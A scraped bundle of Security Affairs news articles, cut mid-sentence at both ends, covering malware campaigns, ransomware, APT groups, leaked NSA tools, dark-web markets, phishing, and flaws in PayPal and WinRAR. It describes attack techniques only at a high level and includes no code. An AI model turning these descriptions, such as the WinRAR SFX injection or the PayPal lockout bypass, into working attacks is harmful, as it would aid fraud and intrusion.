the obfuscate; to take illegible, masked code and turn it into code that can be understood and interpreted. Deobfuscation routines are used to deobfuscate code, and are included with obfuscated code in order to convert the code into a language that can be interpreted by the (host) device., Packer, Packers are used to obfuscate code, in a sense. Essentially, a malware author will take a malicious binary file (executable, DLL, etc.) and scramble the code around to change the file’s signature, to evade anti-virus detection, increasing the rate of successful infection., Final Thoughts, About the Author Michael Fratello, Edited by Pierluigi Paganini, (Security Affairs – malware, cybercrime) |
3793_47673 | Samy Kamkar (@SamyKamkar) is one of the most prolific experts that periodically presents new astonishing creations to the IT security industry. Most of you will remember for sure MagSpoof, Combo Breaker, SkyJack, OwnStar, OpenSesame, USBDriveBy, RollJam, and KeySweeper., Samy Kamkar – Source Gadgetz.tv, Enjoy the Interview!, Hi Samy, you are one of the most popular and creative white hat hackers, could you explain which his your technical background and when you started hacking?, Thank you! I dropped out of high school around 16 and have no further formal education or background in technology except for the amazing resource that is the Internet. I first got the Internet around the age of 10 (I’m 30 now) and immediately was interested in the world of hacking. It was around 13 that I started to learn to code and began understanding basic exploitation techniques. Reading Phrack, various e-zines, finding others on IRC, and studying existing open source exploits and tools helped with learning but the quickest way for me was to attempt to code my own tools (and fail often)., Have you read about the recent FBI notification on KeySweeper? Which is your opinion?, Yes, I was alerted by a few people about this. I’m curious why they’re sharing it now but I suspect the FBI may have found a KeySweeper device in one of their investigations, however, I have no information to confirm that., Everytime you have presented a new hack, you have reminded us how much vulnerable is our society. Which is the industry (healthcare, automotive, telecommunication, banking, and so on) with the largest attack surface and why?, I believe IoT is going to produce the largest attack surface for at least the next few years. The rapid development, low investment requirement, and difficulty of upgrading these devices while we continue to connect them to critical devices such as our phones, computers, tablets and the Internet, will expose us greatly with a wide open attack surface. If you take a look at many IoT attacks, it often doesn’t take much sophistication for something to essentially break open, as compared to some of these other industries where at least there are often some reasonable roadblocks and challenges before an effective attack can be mounted., What scares you more in the internet?, The thing that scares me the most, and what I believe will be the root cause of massive technological chaos in the near future, is any teenager out there who may find a way to do harm and go through with it. I’m a huge proponent of sharing information and teaching anyone who wants to learn about technology, and while I love sharing with the younger generation to wield knowledge, I suspect it will be someone young who ends up using that knowledge the wrong way., Is a major cyber attack on a critical infrastructure a concrete risk?, Technological attacks on critical infrastructure are definitely a huge risk. Some attacks may use technology and be remote but not by cyber-related. I have some research in this area I hope to release in the coming months as well., Dear Samy really Thank you, it has been a pleasure and an honor … We will wait for new researches in the coming months. All the best!, If you appreciate my effort in spreading cyber security awareness, please vote for Security Affairs as best European Security Blog. Vote SecurityAffairs in every section it is reported. I’m one of the finalists and I want to demonstrate that the Security Affairs community a great reality., Thank you, Pierluigi, Pierluigi Paganini, (Security Affairs – Samy Kamkar, hacking) |
4017_49472 | In the past several years, security pundits have been predicting that the healthcare sector was going to be the hotbed of cyber threat activity. These predictions go back several years and seemingly each year, attention to the healthcare sector has been minimal at best, but we may finally have hit an inflection point in 2016., The healthcare sector is a labyrinth of governance and compliance with risk mitigations squarely focused on the privacy of patient data. We in the industry have accepted the norm that “security is not convenient” but for those in the healthcare industry, inconvenience can have a catastrophic impact on a hospital, including the loss of a patient’s life. Besides patient records, there’s a multitude of other services critical to patient health and wellbeing wrapped by an intricate web of cutting-edge and legacy technologies making it perhaps the most challenging environment to secure. This may explain the rise in attacks against healthcare providers in the last six months., According to an article on fastcompany.com’s website, complete medical records are selling for US$60 apiece on the dark web compared to stolen credit card selling for about US$3 bucks a piece on the high end. According to the article, one hacker claimed to have over a million full medical records of individuals. Although the individual’s claims were not verified, it should come as no surprise. Sadly, it may be a more dire situation than we know., , According to the Brookings Institute, since 2009, the medical information of more than 155 million. The report delves into a number of statistics that really punctuate the problem showing the number of incidents sharply increasing in late 2014 and continuing its ascent upward each year. The report also outlines other unique significant challenges citing the large volumes of data being for long period of time much of it stored digitally. This, coupled with the explosion of spending on technologies to handle digital health records, many hospitals are doing what they can to keep their heads above water deploying new technologies that have been mandated upon them rather than a phased approach commensurate with staffing levels., It’s not just core network services causing concern. ICS-CERT recently released an advisory identifying numerous vulnerabilities in Philips Xper-IM Connect systems running Windows XP. Xper-IM is an automated software composition tool that provides physio- monitoring capabilities along with reporting, scheduling, inventory, and data management., According to the advisory, the breakdown of vulnerabilities by CVSA scores are as follows:, Though mitigating the vulnerability may be as simple as upgrading off of Windows XP, the fact that XP is still out in the wild may be further evidence that the healthcare industry is falling behind in protecting itself from cyber criminals., In January of this year, Melbourne’s largest hospital network was significantly impacted when a computer virus affected the hospitals Windows XP systems disrupting meal delivery and pathology results. Manual workarounds such as fax machines were utilized as a contingency but the use of those devices only compounds the issues of patient privacy. It’s those types of disruptions that really jeopardize the patient privacy and even safety. It’s hard to determine how many medical devices and critical services in the healthcare industry are still running Windows XP in their environments, but it is likely a number many would shudder to think about., It is likely healthcare breaches will continue to grow upward. Funding and prioritization of initiatives are only the tip of the iceberg for healthcare institutions looking to secure their networks. Even on a solid footing, the sector will be confronted with a shortage of talent to carry out even the best-intended plans. In the meantime, patients, often unaware of the risk associated with their medical care, have to become better informed about how to protect their health records and personal identity in the event their information finds itself on the dark web up for sale to the highest bidder., Written by: Rick Gamache, Rick Gamache is a freelance writer with 25 years’ experience in the cyber security field. His past work includes the Managing Director of Wapack Labs, CIO of the Red Sky Alliance, and lead FISMA auditor for the US Navy’s destroyer program. Rick has written several high-level cyber and general risk reports with an emphasis on the Nordic countries, India, Russia, and Ukraine and has traveled extensively, speaking on strategic cyber threat intelligence matters as they relate global supply chains., LinkedIn – Twitter – Pierluigi Paganini, (Security Affairs – healthcare sector, Dark Web) |
7130_75916 | Experts from security firm CrowdStrike have uncovered a new campaign associated with the GOBLIN PANDA APT group., The group also knows as Cycldek was first spotted in September 2013, it was mainly targeting entities in Southeast Asia using different malware variants mainly PlugX and HttpTunnel., In 2014, experts noticed an intensification in the activity of the group that appeared interested in the dispute over the South China Sea., GOBLIN PANDA was focused on Vietnam, most of the targets were in the defense, energy, and government sectors., The group is back and is targeting once again Vietnam running a spear phishing campaign that uses weaponized documents featuring Vietnamese-language lures and themes, “Last month, CrowdStrike Intelligence observed renewed activity from GOBLIN PANDA targeting Vietnam. As part of this campaign, new exploit documents were identified with Vietnamese-language lures and themes, as well as Vietnam-themed, adversary-controlled infrastructure.” reads the analysis published by CrowdStrike., “Two exploit documents with Vietnamese-language file names were observed with file metadata unique to the GOBLIN PANDA adversary.”, The researchers analyzed two weaponized documents written in Vietnamese-language and attributed them to GOBLIN PANDA based their metadata., The decoy documents have training-related themes and trigger the Office vulnerability CVE-2012-0158 flaw to deliver a malware implant tracked as QCRat by CrowdStrike Falcon Intelligence., The document did not specifically reference projects related to the Vietnamese government or departments, however, they could be used to trick Government of Vietnam personnel to open them., According to CrowdStrike, the decoy documents use a previously identified legitimate executable, a side-loading implant Dynamic Link Library (DLL), and new implant configuration files stored as a .tlb file., , The analysis of command and control servers suggests that GOBLIN PANDA hackers are also targeting entities in Laos., “Analysis of command and control infrastructure suggests that GOBLIN PANDA is targeting entities in Laos, as well. CrowdStrike Intelligence has not directly observed Laotian targeting, and cannot confirm targets in Laos for this campaign, however, previous activity linked to GOBLIN PANDA has targeted this country.” concludes the report., “Given major economic initiatives by China, such as the Belt and Road Initiative and continued dispute over the Paracel Islands, it is unlikely that GOBLIN PANDA will abandon efforts to collect intelligence from South East Asian neighbors and businesses operating in that region,” , Pierluigi Paganini, (Security Affairs – APT, cyber espionage) |
4728_55240 | The ShadowBrokers is the hacker crew that leaked a portion of the arsenal of the NSA-Linked Equation Group, a precious archive containing hacking tools and exploits., At the end of October, the hackers leaked a fresh dump containing a list of servers that were hacked by the NSA-linked group known as Equation Group., The Equation group compromised these targets using the hacking tools codenamed as INTONATION and PITCHIMPAIR. The ShadowBrokers provided the links to two distinct PGP-encrypted archives, the first one offered for free as a proof of the hack (its passphrase was ‘auctioned’), for the second one the group requested 1 million BTC ., The first archive was containing roughly 300MBs of data, including firewall exploits, hacking tools, and scripts with cryptonyms like BANANAUSURPER, BLATSTING, and BUZZDIRECTION., The security researchers Mustafa Al-Bassam published an interesting post that lists all the exploits, implants, and tools for hacking firewalls (“Firewall Operations”) included in the dump., The Equation Group ‘s hackers targeted products made by Cisco, Fortigate, Juniper, TOPSEC, and Watchguard., The majority of files are at least three years old, meanwhile, the newest timestamp dating to October 2013., Early October, TheShadowBrokers complained that no one seems to be bidding on their precious archive, an alleged member of the hacker group expressed his dissent on the lack of interest in ponying up bitcoins to release the full NSA data dump., Earlier December 2016, the group announced the launch of a crowdfunding campaign for the stolen arsenal because its auction received offers for less than two bitcoins., We met Shadow Brokers last time in December 2016, when they changed the model of sale offering the NSA’s hacking arsenal for direct sale on an underground website., The hacking group is back and now it is selling another package of hacking tools, “Equation Group Windows Warez.” The new archive includes a collection of Windows exploits and tools to evade detection of antivirus solutions., , The first malware, the Remote Administration Tool (RAT) “DanderSpritz,” was included in the collection of documents leaked by Edward Snowden., The group posted a message on their website on the ZeroNet, announcing the sale of the entire “Windows Warez” archive for 750 Bitcoin (around US$678,630)., The data dump offered for sale contains several hacking tools grouped in the following categories:, The malware researcher Jacob Williams published an analysis of the archive of “screenshots and output of the find command across the dump” provided by the ShadowBrokers.Williams started searching for info on the term “Psp_Avoidance” reported in one of the screenshots published by the group., Making some Google Queries with the term “psp computer network operations” the researcher get back as the fifth result a page from ManTech. The page details the ACTP CNO Programmer Course and the course documentation indicates that PSP is an acronym for “Personal Security Product.”, “So, circling back around, what is Psp_Avoidance? Obviously, we don’t know – but if the acronym is correct, it would seem to be software built to evade personal security products, which directory listings suggest (as does ManTech) are antivirus programs.” wrote the expert., The unique certainly at this moment is the availability for sale of a powerful arsenal also composed of hacking tools that could be exploited by a threat actor in the wild for large-scale espionage campaigns, But since this time the group has made Windows hacking tools up for sale, the chances are that hackers and espionage groups would be interested in buying these hacking tools., Pierluigi Paganini, (Security Affairs – The Equation Group, ATP) |
3974_49134 | Experts from Malwarebytes Labs have described the malicious software to be in the stage of “malware-in-development” with expected growth and evolution to occur over the coming weeks as its popularity and use increases., Similar to Petya and Mischa, Satana – Italian for devil, has two methods of operation; the first works like Petya, initiating a dropper which writes a bootloader with a custom kernel to the start of the disk, the second stage, displays characteristics of Mischa, acting in a typical cryptoware fashion by encrypting user’s files, in this case using AES., Unlike Petya and Mischa, this latest variant employs both methods back to back in order to compromise the system bootloader then subsequently the user data., Satana’s installation mode is silent and patiently waits for a system reboot whereupon it displays the ransom note, confirming the compromise and detailing the instructions for decryption. This differs from Petya’s more aggressive, forcing of a fake BSOD prompting the user to reboot., Satana’s ransom note which appears on the first reboot following successful infection, The second stage of operation see’s the malware work its way through the infected system, encrypting users files one by one and leaving a ransom note in each folder, labelled !satana!.txt. !satana!.txt., All of the user’s files are renamed with the hard-coded email address which is to be used in the unlocking process, under the format <email address>_<original file name>.users files are renamed with the hard-coded email address which is to be used in the unlocking process, under the format <email address>_<original file name>., Targeted file extensions include: .bak .doc .jpg .jpe .txt .tex .dbf .db .xls .doc .jpg .jpe .txt .tex .dbf .db .xls .cry .xml .vsd .pdf .csv .bmp .tif .1cd .tax .gif .gbr .png .mdb .mdf .sdf .dwg .dxf .dgn .stl .gho .v2i .3ds .ma .ppt .acc .vpd .odt .ods .rar .zip .7z .cpp .pas .asm, Malwarebytes Labs has reported that the encryption key is randomly generated and sent to Command and Control (C2) Servers along with other info on the infected client machine., Much of this particular exploit seems unfinished and researchers have speculated that this particular variant has been released into the wild accidentally. Several key features of the analyzed code, including the low-level attack segments as well as erroneous bitcoin wallet details, points to the fact that this may be in a pre-production stage of development., The expectation is however that we will see a coming evolution of this variant, which seems to employ the most aggressive features of two of the most successful cryptowarez presently available., Written by: Steven Boyd, Steven is a security consultant, researcher, ethical hacker and freelance writer with over 16 years of experience in the industry. He has provided security consultancy to some of the world’s biggest banks, the private sector as well as public services and defense. He is the owner and creator of security blog www.CybrViews.com., Twitter: @CybrViews, , , , , , Pierluigi Paganini, (Security Affairs –Satana, cybercrime) |
4554_53901 | The Europol conducted a massive crackdown against websites offering counterfeit products as part of the campaign dubbed “Don’t F***(AKE) Up.” The European law enforcement agency aims to halt the activity of online scammers who offer for sale fake brands., The agency launched a public awareness and prevention campaign online to allow netizens spotting fake websites and social media scams., This sale of these products causes serious damage to the finance and the reputation of the official brands, in some cases, they pose a serious threat to “the health and safety of buyers.”, Authorities seized more than 3,500 items of clothing and fake luxury goods, including shoes, bags and perfumes purporting to be such brands as Nike, Adidas, and Kenzo., Dutch anti-fraud police have identified and arrested 12 people across the country and searched their homes., “The internet has become an essential channel for e-commerce. Its instant global reach and anonymity make it possible to sell nearly anything to anyone at any time,” reads the official statement from the Europol., “Counterfeiters know it and are increasingly exploiting the unlimited opportunities” the internet offers., The operation involved law enforcement agencies across 27 countries in Europe, in the US and Canada. Authorities shut down more than 4,500 websites that were used by criminal organizations to offer for sale various products, including “luxury goods, sportswear, spare parts, electronics, pharmaceuticals, toiletries and other fake products.”, This operation is the result of a continuous effort spent by law enforcement worldwide, every year European authorities seize thousands of domains with the support of the US Immigration and Customs Enforcement and Homeland Security., “a significant increase in the number of seized domain names compared to last year,” said Europol director Rob Wainwright., The police observed a significant increase in the number of sale of counterfeit goods through the social networking platform, including Facebook and Instagram., , “This is a relatively new phenomenon in the trade in counterfeit brand names,”states an official statement from the Dutch Fiscal Information and Investigation Service (FIOD)., This is a profitable period for crooks, starting from the Black Friday and going on for the entire holiday time, users are more exposed to such kind of scams., “When shopping online, you are more likely to fall victim to counterfeiters,” it said as “without the physical product to look at and feel, it can be more difficult for you to spot the differences.”, Pierluigi Paganini, (Security Affairs –Fake Brands,Europol) |
6111_67061 | China continues to intensify the monitoring of the cyberspace applying, the authorities always fight any services that could be used to bypass its censorship system known as the Great Firewall., The Great Firewall project already blocked access to more hundreds of the world’s 1,000 top websites, including Google, Facebook, Twitter, and Dropbox., The Chinese authorities have sentenced a man to five-and-a-half years in prison for selling a VPN service without the authorization., Since early this year, the Chinese authorities started banning “unauthorized” VPN services, any company offering such type of service in the country must obtain an appropriate license from the government., People resident in the country make use of VPN and Proxy services to bypass the censorship implemented by the Great Firewall and access website prohibited by the Government without revealing their actual identity., A Chinese court in the southern region of Guangxi sentenced Wu Xiangyang, a Chinese citizen from the Guangxi Zhuang autonomous region, for offering a non-licensed VPN service since 2013 until June 2017., According to an announcement from China’s Procuratorate Daily on Wednesday, the man was also fined 500,000 yuan ($76,000)., “From 2013 to June 2017, Wu Xiangyang, the suspect Wu Xiang Yang, illegally profited without obtaining the relevant business license, set up his own VPN server on the Internet and provided a member account and login software which allows him to browse foreign websites ;” states the announcement ., “In addition the suspect Wu Xiangyang also some VPN member account password written to the hardware router, making the modified router can log in directly to the VPN, to achieve the ability to listen to foreign websites audio and video programs.”, , Prosecutors said the man was convicted of collecting “illegal revenue” of 792,638 yuan ($120,500) from his unauthorized activity., Wu Xiangyang set up his “Where Dog VPN” website on a shop created on the shopping site “Taobao” and advertised it on social media sites., It was a successful business for the Chinese man, in March 2016 the company claimed on Twitter to have 8,000 foreigners and 5,000 businesses using the VPN service to bypass censorship in the country., In July, in compliance with Chinese Internet monitoring law, Apple has started removing all IOS VPN apps from it App Store in China., Pierluigi Paganini, (Security Affairs – VPN service, Great Firewall) |
824_19532 | The Silk Road is up again, the biggest black market of the Tor network came online on Wednesday. Silk Road was seized by the FBI last October, law enforcement has also identified Ross Ulbricht as the alleged owner of the illegal portal., During 2012 the FBI has infiltrated the illegal website identifying Ross Ulbricht, during the investigation the Bureau agents made more than hundreds of purchases in the drug marketplace., Between February of 2011 and July 2013, Silk Road managed $1.2 billion worth of transactions for 957,079 users, the total earnings for Ulbricht were nearly $80 million., The resurrection of the Silk Road is concerning law enforcement, it’s has been surely improved to grant the anonymity of users in the black market. Drugs, weapons and hacking services are the principal commodities sold on the Silk Road, law enforcement are aware that the new website could represent the new point of aggregation within the Tor network for cybercriminals., “Silk Road 2.0 will be reborn better, much much more secure as testament to the tenacity and determination of this wonderful community of ours,” “We will not be down trodden, we will rise again.” wrote the moderator Synergy” on the new Silk Road’s forum site., With the Silk Road seizure also other popular black market websites stopped their sales, including Atlantis that announced the shut down because of “security reasons”, Black Market Reloaded administrator, aka Backopy, leaked the site’s source code onto the web announcing he would shut down the site and Project Black Flag administrator MettaDPR disappeared stealing the site’s bitcoins., , , The new Silk Road black market has a news manager that is using the same pseudonym adopted by the previous one, the Dread Pirate Roberts, and just after a few days it already sported close to 500 drug listings, including marijuana, cocaine and synthetic drugs., The site manager planned the launch for The Silk Road 2.0 at 4:20pm on November 5th, a significant time and date for an anarchic drug site, but technical problems delayed for 24 hours the event., , , The Dread Pirate Roberts presented the new platform with a meaningful tweet:, , The login page of the new Silk Road website mocks Department of Justice’s seizure notice posted to the original black market, it reports the text “This Hidden Site Has Risen Again.” instead of the original FBI message “This Hidden Site Has Been Seized”. For the rest the new site appears to be near identical to the old one., The new Silk Road has the following onion address:, one of the most intriguing security feature added is that users can use their PGP encryption key as an extra authentication measure., , , Who is managing the new black market portal?, It’s impossible say it, many security experts believe that the site was restarted under the control of law enforcement that according last revelation of the US surveillance program surveillance has all necessary instruments and methods to monitor users also within Tor network., “I for one do not trust the new Silk Road,” “I just get an eerie feeling from the whole idea of it, right now i will steer clear…only time will tell, i want to dive head first into it, but i want to see it play out for a little bit before i slap down another 500 bucks, an investment i made the day before Silk Road was closed.” wrote one user on the site’s forums.
, Despite the doubts about the real identity of website managers many Silk Road’s users enthusiastically welcomed the revival of the platform, probably by the fact that new Silk Road is being managed in part by known administrators from the original Silk Road such as the popular moderator known as Libertas., The unique certainly is that cybercrime will continue to exploit Tor network with or without Silk Road!, Pierluigi Paganini, (Security Affairs – Silk Road, Black Market) |
1595_29766 | Cybercriminals and attackers are exploiting once again Google Drive infrastructure to avoid detection. The exploitation of Google Drive cloud storage by cyber criminals is not a novelty, a few days ago experts at TrendMicro detected uncovered a sophisticated phishing campaign that was organized to syphon sensitive data from victims., This time, cyber criminals have published a modified version of the legitimate Google Drive login page to steal email credentials from victims. The researchers consider the attack an improved version of the cyber attacks discovered early this year., As usual the attacks starts with a phishing email containing a link to a bogus Google Drive site that allows victims to log in using different email services, including Yahoo and Hotmail., , Once the used logged in is redirected to a legitimate site by the phishing site, the landing document is legitim and is used to deceive victims int thinking that no suspicious activities are going on despite nothing in the content of the email references the “document”., Analyzing the code of the page, the experts discovered the presence of the Chrome save tag, which indicates that phishers behind the campaign have saved the source of the legitimate Google Drive login page and added malicious cod, “e. And since this site recycled code from Google Drive, all the checkers for proper entries are still in place. The phishing site will only accept email addresses in the proper format (e.g., <accountname>@<serviceprovider>.com). This is a marked difference from the earlier phishing pages, which accepted anything, even gibberish.” states a blog post published by TrendMicro., , When victims click on the “Sign In” button, its credentials and data on mail service choose are sent to a specific URL. The attack seems to be effective also on mobile devices., , The phishing website used by the threat actors is a Chinese sports forum, that was probably compromised by the attackers. The experts speculated that that cybercriminals are using the stolen data to hit other victims and that the malicious campaign have been going on for at least three months., Despite the level of awareness on phishing the technique is still very effective has explained in the last APWG report, for this reason be careful when open emails, even those from friends, and avoid clicking links that are embedded in the content., Rolling over the mouse on the link you can vision the real URL associated to the link and check if the domain name has any typo error or different names from the legitimate website., Do not be fooled by the use of the HTTPS protocol because the practice of use the HTTPs phishing is rapidly increasing., Pierluigi Paganini, Security Affairs – (Google Drive, cybercrime) |
2717_39826 | The increased number of cyber attacks against government entities and the hypothesis that the U.S. government should take an offensive strike against hackers who hit the countries raised the discussion on the problem of the attribution., Prevention, mitigation and response to cyber attacks must rely on a deep knowledge of the potential attackers and their tactics, technique, and procedures (TTPs)., The analyzing of various sources is a critical factor to gather intelligence information on cyber threats and government entities are looking with increasing interest in the Dark Web. Intelligence experts are aware that cyber criminals, terrorists, and lone hackers crowd the dark park on the web to communicate each other, to exchange information and for many other illegal activities., , The US Government analysts are confident that the analysis of the Dark Web data could help to warn industry about planned attacks., However, this process is not so simple, as highlighted by security experts there are two factors to carefully consider:, “Tipping your hand could mean compromising your sources close to the adversary and disrupt a valuable information-gathering process” explained Shane Harris, Daily Beast senior intelligence and national security correspondent, speaking at IBM’s i2 Summit for a Safer Planet., By sharing the information with companies there are enormous benefits in the short terms, but as explained by Matthew Wong, director of intelligence for Flashpoint, there is the risk to lose the long-term gain of intelligence., The question is “whether the government has a responsibility to help its citizens or its corporations,” said Wong “And sadly, the act of helping sometimes causes undesired effects. If you help a company, you’re risking your sources and methods, so that’s why the government sometimes doesn’t help citizens and companies even though it has the power and ability to do so,” “You can have a short-term gain now, if you use this intelligence to protect this asset, and then you lose the long-term gain of intelligence and you potentially lose the ability to leverage that information to protect yourself in the long term.”, Part of the security community is convicted that divulging the information collected during the investigation, especially from Dark Web resources, may induce changes in the modus operandi of the attackers that are difficult to predict and would risk undermining the efforts of previous intelligence operations., Keeping confidential the information collected during the information gathering activities could give the intelligence agencies and law enforcement the opportunity to conduct further researches on the attackers, profile them and uncover completely the infrastructure they plan to use in the attacks., “Just because we have the intelligence to stop every intrusion doesn’t mean we should,” Wong said., Pierluigi Paganini, (Security Affairs – Dark Web, intelligence) |
5613_62219 | The hacker has stolen it from the cryptocurrency investment platform, Enigma. According to an announcement made on Enigma website, an “unknown entity” has hacked their website, slack accounts and email newsletter accounts., “WARNING: ENIGMA SLACK COMPROMISED, DO NOT SEND FUNDS
Hi Everyone, Our Slack channel and certain email lists have been compromised. We are working diligently to resolve the issues.
DO NOT SEND FUNDS TO ANY ADDRESSES., We will provide further updates on the situation shortly.
DO NOT SEND FUNDS”, , The hacker has uploaded a fake pre-sale page with the following fake ETH address to send money:, The hacker spread the fake ETH address via the website newsletter to trick victims into sending their funds to his ETH address., , Even if the address was flagged as ‘compromised’ by Etherscan, Enigma users are still sending ETH to the fake address., Hackers have received more than 1,487.90 ETH then started transferring the stolen ETH:, , Curiously a few days ago, after recent cyberheists of virtual currency, Enigma published a post to make awareness about phishing and scams, the post it no more online., “As we work hard to build the future of data and crypto trading and investing, we want to take a few moments to talk about safety,” Enigma Project wrote in the blog post. “Due to our strong growth, our community has become a target. The worst elements of the crypto scene—scammers and phishers—are attracted to good projects and good communities.”, This is the fifth incident involving Ethereum currency in the last weeks, below the list of previous ones:, At the time, it is unclear how hackers compromised the Enigma platform., Pierluigi Paganini, (Security Affairs – hacking, Ethereum) |
1539_29104 | Another authentication flaw affects PayPal mobile API, an attacker exploiting it could gain access to Blocked Accounts. The authentication restriction bypass vulnerability, resides in the mobile API authentication procedure of the PayPal online-service, according to Vulnerability Laboratory Research Team which discovered the flaw., When a user tries several times to access the PayPal service providing wrong a password the access to its account is restricted by PayPal to avoid unauthorized accesses, at this point it is requested to the legitimate user to provide the answers to a number of security questions he has provided in the past., The experts discovered that at this point, even if the access to the account has been restricted by PayPal, the user simply switching to a mobile device is able to complete the authentication procedure without restrictions, despite his account has been blocked., Resuming the user with right credentials via an official PayPal mobile app client could access to his account even if it has been blocked for security reasons., “The client API checks only if the account exists, the API does not check a part- or full blocking of the account. It is possible for the blocked user to get access to his PayPal account and is able to make transactions and he can send money from the account,” reports the advisory issued by the Vulnerability Laboratory Research Team which discovered the authentication vulnerability., At this point the attack scenario is very scaring, PayPal could temporarily denies the access to a legitimate user while a remote attacker which has the account credentials could “login through the mobile API with PayPal portal restriction to access account information or interact with the compromised account.”, , , , The bad news is that the authentication vulnerability has been reported over one year ago by Benjamin Kunz Mejri from Vulnerability Laboratory, but it is still present in the PayPal authentication service., Another disconcerting aspect of the story is that the researcher hasn’t received any bug bounty for the discovery of the flaw., Below a video Proof of concept for the authentication vulnerability in the PayPal service., , , Let’s see what happen now!, Pierluigi Paganini, (Security Affairs – PayPal, authentication vulnerability) |
3375_44461 | According to a report published by The Times, the website Bestvalid.cc is offering for sale stolen credit and debit card details of 100,000 Britons., Banking details stolen from more than a million people worldwide goes for £1.67, the list of victims includes former senior adviser to the Queen, bankers, doctors and lawyers., The site is available on the surface web since at least June and journalists are surprised that law enforcement hasn’t yes seized it., “The National Crime Agency must act immediately to get this site closed. I will be writing to the NCA to bring this issue to their attention,” said Keith Vaz, chairman of the home affairs select committee., Politicians are urging the intervention of the police, black marketplaces could be used by the organized crime and radical groups to fund terrorism and other illegal activities., Aligned with the offer in many black markets hosted on dark web, Bestvalid.cc appears like an ordinary e-commerce, it includes a customer service and refund services for faulty products., Users can buy stolen payment card data, often completed with further information (i.e. common answer to online banking security questions, postal address of the card holder) that could be used for more sophisticated scams., A journalist at the Times paid for a lot of data including information from one person he is in contact. He paid in Bitcoin of course and received a package including debit card number, security code, expiry date, mobile phone number and postal address., When the journalist presented the data to the victim, Laia Humbert-Vidan, 30, a radiotherapy physicist from London, said was disconcerted., “I don’t feel like the police are able to protect anyone from online fraud. If they were, these types of sites would not exist in the first place.” said Laia Humbert-Vidan., In the last months the underground market was flooded of data from major data breaches, including the TalkTalk and Carphone Warehouse,, Bestvalid is not hidden in the dark web, it is easy to access and it is one of the biggest websites offering stolen card data., , The cybercrime has a significant economic impact on the economy of every Government, it costs the UK £27 billion a year, and the Centre for Economics and Business Research estimated the same cost at £34 billion a year for businesses alone., Pierluigi Paganini, (Security Affairs – payment card frauds, crime) |
2825_40604 | Yesterday I reported the news of two critical vulnerabilities that affect the popular TrueCryptTrueCrypt application and the related risks for the users, today a new zero-day flaw is threatening million of users of the latest version of WinRAR. Win Rar is a widely used software to compress/decompress files and folders, is account for more than 500 million installations., The WinRAR RCE vulnerability has been ranked as ‘High Severity’ and experts assigned it the scores 9 on CVSS (Common Vulnerability Scoring System)., The attacker can exploit the vulnerability in WinRAR by inserting a malicious HTML code inside the “Text to display in SFX window” section when the user is creating a new SFX file., WinRAR SFX is a specific type of executable compressed file with self-extracting capabilities, the attacker can exploit it to run arbitrary code when the victims open an SFX files a demonstrated in the video proof-of-concept published by Espargham., , An attacker can successfully trigger the vulnerability with low user interaction, and compromise the system, the host network or the device., “Exploitation of the code execution vulnerability requires low user interaction (open file) without privilege system or restricted user accounts.Successful exploitation of the remote code execution vulnerability in the WinRAR SFX software results in system, network or device compromise.” continues the advisory,, “The major disadvantage arises because of SFX files, as they start functioning as soon as the user clicks on them. Therefore, users cannot identify and verify if the compressed executable file is a genuine WinRAR SFX module or a harmful one.”, Pierluigi Paganini, (Security Affairs – W , hacking) |
4069_49854 | I love when the sale happens in malls. People just rush and want to get good things for cheap prices. And who doesn’t love something free?, The spyware and malware market is highly lucrative when it comes to sale on the black and grey market. And there is similar rush there as well during the sale. But the recently freely available SpyNote spyware has got every cyber criminal running for a piece of the action. Experts from Palo Alto Networks recently discovered a RAT (Remote Access Trojan) offered for free called Spynote, much like OmniRat and DroidJack ., “Our team recently discovered a new Android Trojan called SpyNote which facilitates remote spying. The builder, which creates new versions of the malware, recently leaked on several malware discussion forums. SpyNote is similar to OmniRat and DroidJack, which are RATs (remote administration tools) that allow malware owners to gain remote administrative control of an Android device.” states a blog post published by PaloAlto Networks., , Let’s look at some of the functionalities of this potent Android Trojan., Amazing list of malicious uses and its available for free. Yes, it’s free., This is the reason why many security researchers are worried that it will soon be a big problem as many less proficient cybercriminals *cough *cough script kiddies will be using it extensively., Also, people with ill intents may also install the Trojan manually for spying purposes., SpyNote does not require root access to a device but it prompt users for a long list of permissions on installation., It’s not clear yet how authors plan to distribute the RAT to the victims, though attacks have not been seen yet, but researchers believe that since the SpyNote builder is available for free customized versions of its APK will soon be distributed via third party websites near you., But Android users should be worried as newer versions of our loveable Android have features like Verify Apps and SafetyNet which may block such malware packages from getting installed., Moral of the story, don’t install applications from third-party stores as even Google Play sometimes is unable to keep malicious applications at bay itself., About the Author: Joshua Bahirvani, Cyber Security Enthusiast and believer of Privacy in this Digital Age., LinkedIn : Peerlyst: Twitter : @B15joshua, Medium : @jbahirvani15, Pierluigi Paganini, (Security Affairs – Android RAT, SpyNote) |
1665_30472 | Backdoor Regin, is the name assigned by the experts at Symantec to an advanced spying tool that has been used in cyber espionage campaigns against governments, infrastructure operators, private companies, researchers, and private individuals., Regin appears as a highly sophisticated malicious code, experts revealed that it has a degree of technical competence rarely seen, it has some resemblance with other state-sponsored malware like Flame,Duqu and the popular Stuxnet. Also in this case, Regin has a modular structure that makes the malware a very flexible agent that could be used by operators to tailor a campaign to individual targets, the effort necessary for its development appears significant, the experts speculate that it required months or years to be completed., The circumstance led researchers to believe that Backdoor Regin was developed by a nation-state to spy on a wide range of international targets across several industries., The evasion technique that allowed Regin backdoor to go undetected for years exploits a multi-staged process and each stage is hidden and encrypted. Regin is organized into five stages, each of which is encrypted except for the first one that implements the initial loader. Executing the first stage triggers a domino chain in which at each step the stage is decrypted and executed, and that in turn decrypts the successive stage, and so on., “As outlined in a new technical whitepaper from Symantec, Backdoor.Regin is a multi-staged threat and each stage is hidden and encrypted, with the exception of the first stage. Executing the first stage starts a domino chain of decryption and loading of each subsequent stage for a total of five stages. Each individual stage provides little information on the complete package. Only by acquiring all five stages is it possible to analyze and understand the threat.” states the blog post from Symantec., , , The experts have identified dozens of different payloads that are used to spy on the infected machine, the principal functions implemented by the authors of Regin include code for stealing passwords, monitoring network traffic, capturing screenshots, seizing control of the target’s mouse and recovering deleted files., Some payloads appear to be tailored to specific targets, for example, one module was designed to sniff the traffic of mobile telephone base station controllers and another to monitor the traffic of a Microsoft IIS server., The disconcerting aspect of the story relates to the dating of the Backdoor Regin, Symantec experts believe it was a framework that threat actors used in multiple campaigns that date back to 2008 or several years earlier. Regin is known to have been active until 2011. The name Regin was assigned by Microsoft to the underlying trojan, the malware resurfaced in 2013 when the researchers at Symantec identified it., “Essentially, what we think we’re looking at is different campaigns where in one infection they needed to sniff your keyboard whereas in another infection they wanted grab the user name and password of the admin connected to a base station controller,” Liam O’Murchu, manager of operations for Symantec Security Response, 